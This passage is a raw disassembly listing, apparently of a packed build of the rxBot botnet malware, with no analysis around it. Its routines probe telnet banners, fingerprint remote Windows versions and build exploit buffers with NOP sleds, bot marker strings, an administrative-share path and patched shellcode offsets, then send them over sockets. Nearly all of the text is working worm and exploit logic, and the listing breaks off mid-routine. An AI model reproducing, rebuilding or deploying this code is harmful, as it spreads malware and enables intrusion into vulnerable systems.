		sub	ebx, 4
		dec	edi
		jnz	short loc_40B4F2
		pop	edi


loc_40B503:				; CODE XREF: sub_40B4D9+11j
		test	ebx, ebx
		jbe	short loc_40B512


loc_40B507:				; CODE XREF: sub_40B4D9+37j
		call	sub_40B4AB
		mov	[esi], al
		inc	esi
		dec	ebx
		jnz	short loc_40B507


loc_40B512:				; CODE XREF: sub_40B4D9+8j
					; sub_40B4D9+2Cj
		pop	esi
		pop	ebx
		retn
sub_40B4D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B515	proc near		; CODE XREF: sub_4027CB+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jnz	short loc_40B522
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B522:				; CODE XREF: sub_40B515+7j
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jnz	short loc_40B52C
		mov	eax, [ebp+arg_4]


loc_40B52C:				; CODE XREF: sub_40B515+12j
		push	edi
		push	eax
		push	[ebp+arg_4]
		call	sub_40B459
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jbe	short loc_40B55A
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, edi


loc_40B545:				; CODE XREF: sub_40B515+41j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B459
		mov	[esi], al
		pop	ecx
		inc	esi
		dec	ebx
		pop	ecx
		jnz	short loc_40B545
		pop	esi
		pop	ebx


loc_40B55A:				; CODE XREF: sub_40B515+27j
		mov	eax, edi
		pop	edi
		pop	ebp
		retn
sub_40B515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B55F	proc near		; CODE XREF: kkrunchy:004112C6p

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	esi
		lea	eax, [ebp+var_58]
		push	edi
		push	eax
		call	sub_40A8A4
		push	[ebp+arg_4]
		lea	eax, [ebp+var_58]
		push	[ebp+arg_0]
		push	eax
		call	sub_40A8CC
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_419E90
		call	sub_40A96B
		add	esp, 18h
		lea	esi, byte_419E90
		mov	edi, esi
		push	10h
		pop	ecx


loc_40B59B:				; CODE XREF: sub_40B55F+43j
		lodsb
		or	eax, 80h
		stosb
		loop	loc_40B59B
		pop	edi
		pop	esi
		leave
		retn
sub_40B55F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B5A8	proc near		; CODE XREF: sub_4050D1+7Dp
					; sub_4050D1+FFp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	esi
		mov	bl, [ecx]
		cmp	bl, 7Fh
		ja	short loc_40B5DE
		xor	esi, esi
		test	bl, bl
		jz	short loc_40B5DE
		push	edi


loc_40B5BC:				; CODE XREF: sub_40B5A8+33j
		mov	eax, esi
		push	10h
		cdq
		pop	edi
		idiv	edi
		mov	al, byte_419E90[edx]
		xor	al, bl
		inc	esi
		mov	[ecx], al
		mov	eax, [esp+0Ch+arg_0]
		mov	bl, [esi+eax]
		lea	ecx, [esi+eax]
		test	bl, bl
		jnz	short loc_40B5BC
		pop	edi


loc_40B5DE:				; CODE XREF: sub_40B5A8+Bj
					; sub_40B5A8+11j
		pop	esi
		pop	ebx
		retn
sub_40B5A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B5E1	proc near		; CODE XREF: sub_401000+3Fp
					; sub_4033F9+19p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	esi
		mov	bl, [ecx]
		cmp	bl, 7Fh
		jbe	short loc_40B617
		xor	esi, esi
		test	bl, bl
		jz	short loc_40B617
		push	edi


loc_40B5F5:				; CODE XREF: sub_40B5E1+33j
		mov	eax, esi
		push	10h
		cdq
		pop	edi
		idiv	edi
		mov	al, byte_419E90[edx]
		xor	al, bl
		inc	esi
		mov	[ecx], al
		mov	eax, [esp+0Ch+arg_0]
		mov	bl, [esi+eax]
		lea	ecx, [esi+eax]
		test	bl, bl
		jnz	short loc_40B5F5
		pop	edi


loc_40B617:				; CODE XREF: sub_40B5E1+Bj
					; sub_40B5E1+11j
		pop	esi
		pop	ebx
		retn
sub_40B5E1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	edi, 200h
		push	2710h
		lea	eax, [ebp-200h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 10h
		test	eax, eax
		jz	short loc_40B6BA
		push	0Ch
		lea	eax, [ebp-200h]
		push	offset dword_415244
		push	eax
		call	sub_41178A	; memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40B6BA
		lea	eax, [ebp-200h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DB2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40B6BA
		lea	eax, [ebp-200h]
		push	offset aUserAccessVeri ; "\r\n\r\nUser Access Verification\r\n\r\nPasswor"...
		push	eax
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B6BA
		mov	eax, [esi]
		inc	dword ptr [eax+2Ah]
		lea	eax, [esi+42h]
		push	eax
		mov	eax, [esi]
		add	esi, 4
		push	dword ptr [eax+2Ah]
		push	offset aTelnet	; "telnet"
		push	esi
		push	offset unk_4151D8
		push	offset dword_418E50
		call	sub_409659
		add	esp, 18h


loc_40B6BA:				; CODE XREF: kkrunchy:0040B647j
					; kkrunchy:0040B661j ...
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B6BE	proc near		; CODE XREF: kkrunchy:0040B82Ap

var_1000	= byte ptr -1000h
var_FF8		= byte ptr -0FF8h
var_FF4		= byte ptr -0FF4h
var_FDB		= byte ptr -0FDBh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_411540
		push	ebx
		push	esi
		mov	ebx, 0EA60h
		push	edi
		push	ebx
		push	[ebp+arg_0]
		call	sub_403E1F
		mov	esi, dword_412258
		pop	ecx
		test	eax, eax
		pop	ecx
		mov	edi, 1000h
		jz	short loc_40B70D
		push	0
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		test	eax, eax
		jz	loc_40B7C9
		cmp	eax, 0FFFFFFFFh
		jz	loc_40B7C9


loc_40B70D:				; CODE XREF: sub_40B6BE+2Dj
		push	28h
		push	offset dword_415254
		push	[ebp+arg_0]
		call	sub_403D9D
		push	ebx
		push	[ebp+arg_0]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	loc_40B7C9
		push	0
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		test	eax, eax
		jz	loc_40B7C9
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B7C9
		lea	eax, [ebp+var_FDB]
		push	eax
		call	sub_41151C	; atoi
		cmp	[ebp+var_FF8], 5
		pop	ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jnz	short loc_40B7B6
		cmp	[ebp+var_FF4], 0
		jnz	short loc_40B782
		xor	ecx, ecx
		cmp	eax, 4
		setle	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		inc	ecx
		inc	ecx


loc_40B77E:				; CODE XREF: sub_40B6BE+DCj
					; sub_40B6BE+F6j ...
		mov	eax, ecx
		jmp	short loc_40B7CB
; ---------------------------------------------------------------------------


loc_40B782:				; CODE XREF: sub_40B6BE+B0j
		cmp	[ebp+var_FF4], 1
		jnz	short loc_40B79C
		xor	ecx, ecx
		cmp	eax, 2
		setle	cl
		dec	ecx
		and	ecx, 0FFFFFFFDh
		add	ecx, 3
		jmp	short loc_40B77E
; ---------------------------------------------------------------------------


loc_40B79C:				; CODE XREF: sub_40B6BE+CBj
		cmp	[ebp+var_FF4], 2
		jnz	short loc_40B7C9
		xor	ecx, ecx
		cmp	eax, 3
		setle	cl
		dec	ecx
		and	ecx, 0FFFFFFFCh
		add	ecx, 4
		jmp	short loc_40B77E
; ---------------------------------------------------------------------------


loc_40B7B6:				; CODE XREF: sub_40B6BE+A7j
		cmp	[ebp+var_FF8], 4
		jnz	short loc_40B7C9
		xor	ecx, ecx
		cmp	eax, 6
		setle	cl
		jmp	short loc_40B77E
; ---------------------------------------------------------------------------


loc_40B7C9:				; CODE XREF: sub_40B6BE+40j
					; sub_40B6BE+49j ...
		xor	eax, eax


loc_40B7CB:				; CODE XREF: sub_40B6BE+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B6BE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1204h
		call	sub_411540
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		push	3
		push	offset asc_413214 ; "\r\n"
		push	dword ptr [esi+2Ah]
		lea	eax, [esi+146h]
		push	eax
		lea	eax, [esi+0C6h]
		push	eax
		lea	eax, [ebp-1204h]
		push	dword ptr [esi+0C2h]
		push	200h
		push	eax
		call	sub_40E399
		mov	edi, eax
		add	esp, 20h
		test	edi, edi
		jz	loc_40B998
		and	dword ptr [ebp+8], 0
		lea	eax, [ebp+8]
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_40B6BE
		pop	ecx
		mov	[ebp-4], eax
		test	eax, eax
		pop	ecx
		jz	loc_40B998
		mov	ebx, 1000h
		lea	eax, [ebp-1004h]
		push	ebx
		push	0
		push	eax
		call	sub_4114E8	; memset
		push	2
		lea	eax, [ebp-1004h]
		push	offset dword_415328
		push	eax
		call	sub_4114D0	; memcpy
		push	1F4h
		lea	eax, [ebp-0F37h]
		push	90h
		push	eax
		call	sub_4114E8	; memset
		lea	eax, [ebp-1204h]
		push	edi
		push	eax
		lea	eax, [ebp-0DFCh]
		push	eax
		call	sub_4114D0	; memcpy
		push	5
		lea	eax, [ebp-0BF2h]
		push	offset aRxbot	; "rxbot"
		push	eax
		call	sub_4114D0	; memcpy
		push	0Eh
		lea	eax, [ebp-0A2Ch]
		push	offset aRxbotWasHere ; "rxbot was here"
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		lea	eax, [ebp-928h]
		push	11h
		push	offset a121204131313 ; "12/12/04 13:13:13"
		push	eax
		call	sub_4114D0	; memcpy
		push	0Eh
		lea	eax, [ebp-518h]
		push	offset aRxbot_paradise ; "rxbot_paradise"
		push	eax
		call	sub_4114D0	; memcpy
		push	10h
		lea	eax, [ebp-414h]
		push	offset a131_131_131_13 ; "131.131.131.131"
		push	eax
		call	sub_4114D0	; memcpy
		mov	edi, offset loc_4152D0
		push	edi
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp-108h]
		push	edi
		push	eax
		call	sub_4114D0	; memcpy
		push	2
		lea	eax, [ebp-0E02h]
		push	offset loc_4152CC
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 40h
		cmp	dword ptr [ebp-4], 1
		jnz	short loc_40B930
		mov	eax, [ebp+8]
		mov	eax, dword_415280[eax*4]
		jmp	short loc_40B95B
; ---------------------------------------------------------------------------


loc_40B930:				; CODE XREF: kkrunchy:0040B922j
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_40B942
		mov	eax, [ebp+8]
		mov	eax, dword_41529C[eax*4]
		jmp	short loc_40B95B
; ---------------------------------------------------------------------------


loc_40B942:				; CODE XREF: kkrunchy:0040B934j
		cmp	dword ptr [ebp-4], 3
		mov	eax, [ebp+8]
		jnz	short loc_40B954
		mov	eax, dword_4152B0[eax*4]
		jmp	short loc_40B95B
; ---------------------------------------------------------------------------


loc_40B954:				; CODE XREF: kkrunchy:0040B949j
		mov	eax, dword_4152BC[eax*4]


loc_40B95B:				; CODE XREF: kkrunchy:0040B92Ej
					; kkrunchy:0040B940j ...
		mov	[ebp-0E00h], eax
		lea	eax, [ebp-1004h]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	0EA60h
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	short loc_40B998
		push	0
		lea	eax, [ebp-1004h]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	dword_412258	; recv


loc_40B998:				; CODE XREF: kkrunchy:0040B819j
					; kkrunchy:0040B836j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B99D	proc near		; CODE XREF: sub_40BAAF+5Bp

var_1000	= byte ptr -1000h
var_FF8		= byte ptr -0FF8h
var_FF4		= byte ptr -0FF4h
var_FDB		= byte ptr -0FDBh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_411540
		push	ebx
		push	esi
		mov	ebx, 0EA60h
		push	edi
		push	ebx
		push	[ebp+arg_0]
		call	sub_403E1F
		mov	esi, dword_412258
		pop	ecx
		test	eax, eax
		pop	ecx
		mov	edi, 1000h
		jz	short loc_40B9EC
		push	0
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		test	eax, eax
		jz	loc_40BAA8
		cmp	eax, 0FFFFFFFFh
		jz	loc_40BAA8


loc_40B9EC:				; CODE XREF: sub_40B99D+2Dj
		push	28h
		push	offset dword_41532C
		push	[ebp+arg_0]
		call	sub_403D9D
		push	ebx
		push	[ebp+arg_0]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	loc_40BAA8
		push	0
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		test	eax, eax
		jz	loc_40BAA8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40BAA8
		lea	eax, [ebp+var_FDB]
		push	eax
		call	sub_41151C	; atoi
		cmp	[ebp+var_FF8], 5
		pop	ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jnz	short loc_40BA95
		cmp	[ebp+var_FF4], 0
		jnz	short loc_40BA61
		xor	ecx, ecx
		cmp	eax, 4
		setle	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		inc	ecx
		inc	ecx


loc_40BA5D:				; CODE XREF: sub_40B99D+DCj
					; sub_40B99D+F6j ...
		mov	eax, ecx
		jmp	short loc_40BAAA
; ---------------------------------------------------------------------------


loc_40BA61:				; CODE XREF: sub_40B99D+B0j
		cmp	[ebp+var_FF4], 1
		jnz	short loc_40BA7B
		xor	ecx, ecx
		cmp	eax, 2
		setle	cl
		dec	ecx
		and	ecx, 0FFFFFFFDh
		add	ecx, 3
		jmp	short loc_40BA5D
; ---------------------------------------------------------------------------


loc_40BA7B:				; CODE XREF: sub_40B99D+CBj
		cmp	[ebp+var_FF4], 2
		jnz	short loc_40BAA8
		xor	ecx, ecx
		cmp	eax, 3
		setle	cl
		dec	ecx
		and	ecx, 0FFFFFFFCh
		add	ecx, 4
		jmp	short loc_40BA5D
; ---------------------------------------------------------------------------


loc_40BA95:				; CODE XREF: sub_40B99D+A7j
		cmp	[ebp+var_FF8], 4
		jnz	short loc_40BAA8
		xor	ecx, ecx
		cmp	eax, 6
		setle	cl
		jmp	short loc_40BA5D
; ---------------------------------------------------------------------------


loc_40BAA8:				; CODE XREF: sub_40B99D+40j
					; sub_40B99D+49j ...
		xor	eax, eax


loc_40BAAA:				; CODE XREF: sub_40B99D+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B99D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BAAF	proc near		; DATA XREF: kkrunchy:00418044o

var_1204	= byte ptr -1204h
var_1137	= byte ptr -1137h
var_112F	= byte ptr -112Fh
var_1002	= byte ptr -1002h
var_1000	= dword	ptr -1000h
var_FFC		= byte ptr -0FFCh
var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1204h
		call	sub_411540
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	3
		push	offset asc_413214 ; "\r\n"
		push	dword ptr [esi+2Ah]
		lea	eax, [esi+146h]
		push	eax
		lea	eax, [esi+0C6h]
		push	eax
		lea	eax, [ebp+var_204]
		push	dword ptr [esi+0C2h]
		push	200h
		push	eax
		call	sub_40E399
		add	esp, 20h
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	loc_40BC0B
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_40B99D
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		pop	ecx
		jz	loc_40BC0B
		mov	edi, 1000h
		lea	eax, [ebp+var_1204]
		push	edi
		push	0
		push	eax
		call	sub_4114E8	; memset
		push	2
		lea	eax, [ebp+var_1204]
		push	offset dword_415328
		push	eax
		call	sub_4114D0	; memcpy
		push	8
		lea	eax, [ebp+var_1137]
		push	offset dword_41537C
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+var_4]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_112F]
		push	eax
		call	sub_4114D0	; memcpy
		push	20h
		lea	eax, [ebp+var_FFC]
		push	offset dword_415358
		push	eax
		call	sub_4114D0	; memcpy
		push	2
		lea	eax, [ebp+var_1002]
		push	offset loc_4152CC
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		cmp	ebx, 1
		jnz	short loc_40BBA5
		mov	eax, [ebp+arg_0]
		mov	eax, dword_415388[eax*4]
		jmp	short loc_40BBCE
; ---------------------------------------------------------------------------


loc_40BBA5:				; CODE XREF: sub_40BAAF+E8j
		cmp	ebx, 2
		jnz	short loc_40BBB6
		mov	eax, [ebp+arg_0]
		mov	eax, dword_4153A4[eax*4]
		jmp	short loc_40BBCE
; ---------------------------------------------------------------------------


loc_40BBB6:				; CODE XREF: sub_40BAAF+F9j
		mov	eax, [ebp+arg_0]
		cmp	ebx, 3
		jnz	short loc_40BBC7
		mov	eax, dword_4153B8[eax*4]
		jmp	short loc_40BBCE
; ---------------------------------------------------------------------------


loc_40BBC7:				; CODE XREF: sub_40BAAF+10Dj
		mov	eax, dword_4153C4[eax*4]


loc_40BBCE:				; CODE XREF: sub_40BAAF+F4j
					; sub_40BAAF+105j ...
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_1204]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	0EA60h
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	short loc_40BC0B
		push	0
		lea	eax, [ebp+var_1204]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	dword_412258	; recv


loc_40BC0B:				; CODE XREF: sub_40BAAF+4Aj
					; sub_40BAAF+66j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BAAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC10	proc near		; DATA XREF: kkrunchy:off_417DC6o

var_1800	= byte ptr -1800h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1800h
		call	sub_411540
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	1
		lea	eax, [esi+42h]
		push	eax
		call	sub_40D42D
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		push	esi
		call	sub_40BCBD
		add	esp, 14h
		mov	[ebp+arg_0], eax
		test	eax, eax
		jz	short loc_40BCB8
		push	48h
		push	offset dword_4153D4
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	0EA60h
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	short loc_40BCB8
		mov	edi, dword_412258
		mov	ebx, 1000h
		push	0
		lea	eax, [ebp+var_1800]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	edi	; recv
		push	[ebp+arg_0]
		lea	eax, [ebp+var_800]
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	0EA60h
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	short loc_40BCB8
		push	0
		lea	eax, [ebp+var_1800]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	edi	; recv


loc_40BCB8:				; CODE XREF: sub_40BC10+34j
					; sub_40BC10+57j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BC10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BCBD	proc near		; CODE XREF: sub_40BC10+27p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, [ebp+arg_0]
		push	7
		push	offset dword_415854
		push	dword ptr [eax+2Ah]
		lea	ecx, [eax+146h]
		push	ecx
		lea	ecx, [eax+0C6h]
		push	ecx
		push	dword ptr [eax+0C2h]
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_40E399
		add	esp, 20h
		mov	[ebp+arg_0], eax
		test	eax, eax
		jnz	short loc_40BD04
		leave
		retn
; ---------------------------------------------------------------------------


loc_40BD04:				; CODE XREF: sub_40BCBD+43j
		push	ebx
		push	esi
		push	edi
		add	eax, 0D7h
		push	10h
		mov	ebx, 0B3h
		cdq
		pop	ecx
		idiv	ecx
		push	0Ch
		pop	eax
		sub	eax, edx
		jns	short loc_40BD21
		add	ebx, 10h


loc_40BD21:				; CODE XREF: sub_40BCBD+5Fj
		mov	esi, [ebp+arg_4]
		push	360h
		push	offset dword_415454
		push	esi
		sub	ebx, edx
		call	sub_4114D0	; memcpy
		lea	eax, [esi+360h]
		push	10h
		push	offset dword_4157B8
		push	eax
		call	sub_4114D0	; memcpy
		push	30h
		lea	eax, [esi+370h]
		push	offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	eax
		call	sub_4114D0	; memcpy
		push	0
		lea	eax, [esi+3A0h]
		push	ebx
		push	eax
		call	sub_40D5A8
		push	[ebp+arg_0]
		lea	edi, [ebx+3A0h]
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [edi+esi]
		push	eax
		call	sub_4114D0	; memcpy
		add	edi, [ebp+arg_0]
		push	3Ch
		push	offset aC1234561111111 ; "\\C$\\123456111111111111111.doc"
		lea	eax, [edi+esi]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		add	edi, 3Ch
		push	30h
		lea	eax, [edi+esi]
		push	offset dword_41580C
		push	eax
		call	sub_4114D0	; memcpy
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		add	edi, 30h
		dec	eax
		lea	ecx, [esi+394h]
		jz	short loc_40BDF7
		dec	eax
		jz	short loc_40BDEE
		dec	eax
		jz	short loc_40BDE5
		call	sub_40B4C3
		test	eax, eax
		push	4
		jz	short loc_40BDD7
		push	offset dword_41584C
		jmp	short loc_40BDDC
; ---------------------------------------------------------------------------


loc_40BDD7:				; CODE XREF: sub_40BCBD+111j
		push	offset dword_415850


loc_40BDDC:				; CODE XREF: sub_40BCBD+118j
		lea	eax, [esi+394h]
		push	eax
		jmp	short loc_40BDFF
; ---------------------------------------------------------------------------


loc_40BDE5:				; CODE XREF: sub_40BCBD+106j
		push	4
		push	offset dword_415848
		jmp	short loc_40BDFE
; ---------------------------------------------------------------------------


loc_40BDEE:				; CODE XREF: sub_40BCBD+103j
		push	4
		push	offset dword_415844
		jmp	short loc_40BDFE
; ---------------------------------------------------------------------------


loc_40BDF7:				; CODE XREF: sub_40BCBD+100j
		push	4
		push	offset dword_415840


loc_40BDFE:				; CODE XREF: sub_40BCBD+12Fj
					; sub_40BCBD+138j
		push	ecx


loc_40BDFF:				; CODE XREF: sub_40BCBD+126j
		call	sub_4114D0	; memcpy
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		lea	eax, [ebx+eax+30h]
		lea	ecx, [eax-0Ch]
		add	[esi+8], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+10h], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+80h], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+84h], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+0B4h], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+0B8h], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+0D0h], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+18Ch], ecx
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[esi+360h], eax
		add	[esi+368h], eax
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BCBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE68	proc near		; DATA XREF: kkrunchy:00417E00o

var_1B68	= byte ptr -1B68h
var_B68		= byte ptr -0B68h
var_968		= byte ptr -968h
var_960		= dword	ptr -960h
var_958		= dword	ptr -958h
var_950		= byte ptr -950h
var_90C		= byte ptr -90Ch
var_8EC		= byte ptr -8ECh
var_8E8		= byte ptr -8E8h
var_8E4		= byte ptr -8E4h
var_8E0		= byte ptr -8E0h
var_8DC		= byte ptr -8DCh
var_884		= byte ptr -884h
var_87E		= byte ptr -87Eh
var_876		= byte ptr -876h
var_872		= byte ptr -872h
var_86E		= byte ptr -86Eh
var_868		= byte ptr -868h
var_168		= byte ptr -168h
var_7C		= byte ptr -7Ch
var_72		= byte ptr -72h
var_6E		= byte ptr -6Eh
var_36		= byte ptr -36h
var_32		= byte ptr -32h
var_2E		= byte ptr -2Eh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1B68h
		call	sub_411540
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	48h
		push	offset dword_41585C
		push	dword ptr [edi+3Eh]
		call	sub_403D9D
		push	0EA60h
		push	dword ptr [edi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	loc_40C131
		xor	esi, esi
		lea	eax, [ebp+var_1B68]
		push	esi
		push	1000h
		push	eax
		push	dword ptr [edi+3Eh]
		call	dword_412258	; recv
		push	7
		push	offset dword_415854
		push	dword ptr [edi+2Ah]
		lea	eax, [edi+146h]
		push	eax
		lea	eax, [edi+0C6h]
		push	eax
		lea	eax, [ebp+var_B68]
		push	dword ptr [edi+0C2h]
		push	200h
		push	eax
		call	sub_40E399
		add	esp, 20h
		cmp	eax, esi
		mov	[ebp+arg_0], eax
		jz	loc_40C131
		push	ebx
		mov	ebx, 168h


loc_40BEFC:				; CODE XREF: sub_40BE68+A9j
		push	7Ah
		push	61h
		call	sub_40B459
		mov	[ebp+esi+var_168], al
		inc	esi
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jl	short loc_40BEFC
		push	0Ah
		lea	eax, [ebp+var_7C]
		push	offset loc_41594C
		push	eax
		call	sub_4114D0	; memcpy
		push	2
		lea	eax, [ebp+var_72]
		push	offset loc_41599C
		push	eax
		call	sub_4114D0	; memcpy
		push	4
		lea	eax, [ebp+var_6E]
		push	offset loc_415994
		push	eax
		call	sub_4114D0	; memcpy
		push	2
		lea	eax, [ebp+var_36]
		push	offset loc_415998
		push	eax
		call	sub_4114D0	; memcpy
		push	4
		lea	eax, [ebp+var_32]
		push	(offset	loc_41598F+1)
		push	eax
		call	sub_4114D0	; memcpy
		push	0Bh
		lea	eax, [ebp+var_2E]
		push	offset loc_415940
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		lea	eax, [ebp+var_968]
		mov	esi, 3E6h
		sub	esi, [ebp+arg_0]
		push	18h
		push	offset dword_4158A8
		push	eax
		call	sub_4114D0	; memcpy
		push	44h
		lea	eax, [ebp+var_950]
		push	offset dword_4158C4
		push	eax
		call	sub_4114D0	; memcpy
		push	20h
		lea	eax, [ebp+var_90C]
		push	0FFFFFF90h
		push	eax
		call	sub_4114E8	; memset
		push	4
		lea	eax, [ebp+var_8EC]
		push	offset loc_415958
		push	eax
		call	sub_4114D0	; memcpy
		push	4
		lea	eax, [ebp+var_8E8]
		push	offset loc_41598C
		push	eax
		call	sub_4114D0	; memcpy
		push	4
		lea	eax, [ebp+var_8E4]
		push	offset dword_415984
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		lea	eax, [ebp+var_8E0]
		push	4
		push	offset loc_415988
		push	eax
		call	sub_4114D0	; memcpy
		push	58h
		lea	eax, [ebp+var_8DC]
		push	0FFFFFF90h
		push	eax
		call	sub_4114E8	; memset
		push	6
		lea	eax, [ebp+var_884]
		push	offset loc_415960
		push	eax
		call	sub_4114D0	; memcpy
		push	8
		push	0FFFFFF90h
		lea	eax, [ebp+var_87E]
		push	eax
		call	sub_4114E8	; memset
		push	4
		lea	eax, [ebp+var_876]
		push	offset loc_415968
		push	eax
		call	sub_4114D0	; memcpy
		push	4
		lea	eax, [ebp+var_872]
		push	0FFFFFF90h
		push	eax
		call	sub_4114E8	; memset
		add	esp, 48h
		lea	eax, [ebp+var_86E]
		push	6
		push	offset loc_415970
		push	eax
